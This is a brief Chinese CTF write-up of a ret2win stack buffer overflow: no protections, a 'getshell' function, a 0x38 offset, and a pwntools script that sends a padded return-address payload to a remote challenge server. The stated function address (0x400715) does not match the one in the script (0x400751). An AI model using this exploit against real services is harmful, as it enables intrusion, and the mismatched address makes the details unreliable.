拿到题目:
file查看一下文件类型,可以看到 x86-64,以及 dynamically linked,所以 64位,动态连接的。
查看一下有没有开什么保护机制:
嘛都没开,直接放到64位IDA里面看一看。
看到敏感名称函数“getshell”
感觉能直接拿flag,方法就是找到一个地方跳转到getshell函数地址,查看一下地址为:0x400715
转手看main函数:
其中有一个read 函数,可以用来进行栈溢出
查找溢出地址,覆盖edp:
r - s = 0x38 ** 注意一定是16进制,不然地址有可能算错 **
脚本如下:
from pwn import *
ip = "114.116.54.89"
port = 10003
p=remote(ip,port)
p.recvuntil('something?')
payload='a'*56+p64(0x400751)
p.sendline(payload)
p.interactive()
自我总结注意:
1.先找敏感函数
2.地址不要计算错误
3.16进制与10进制转换